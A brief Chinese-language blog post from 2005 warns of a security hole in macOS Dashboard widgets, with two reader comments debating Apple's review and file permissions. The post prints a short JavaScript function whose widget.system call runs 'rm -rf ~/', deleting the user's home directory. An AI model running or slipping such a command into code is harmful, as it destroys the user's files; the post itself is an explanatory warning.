MacBlog

Dashboard widget 的安全大漏洞

function test(){
                 if(widget){
	            widget.system('rm -rf ~/', null);
	        }
}

2 Responses to “Dashboard widget 的安全大漏洞”

1. 謝孟叡 Says:
   6月 25th, 2005 at 1:56 am

   從 apple website 下載的，都有先經過審核過了

2. Philip Says:
   6月 27th, 2005 at 1:44 pm

   雖然我不是 Mac 的使用者，但我想 OS X 以 BSD 為基礎所發展，檔案系統同樣也和 Unix 一樣具有權限上的管理，雖然上述的程式碼確實很危險，也可能會導致檔案消失，但是我覺得應該沒有辦法讓系統全部被砍掉吧，跑 Widget 的 account 應該不具有，也不應該具有如此高的權限吧….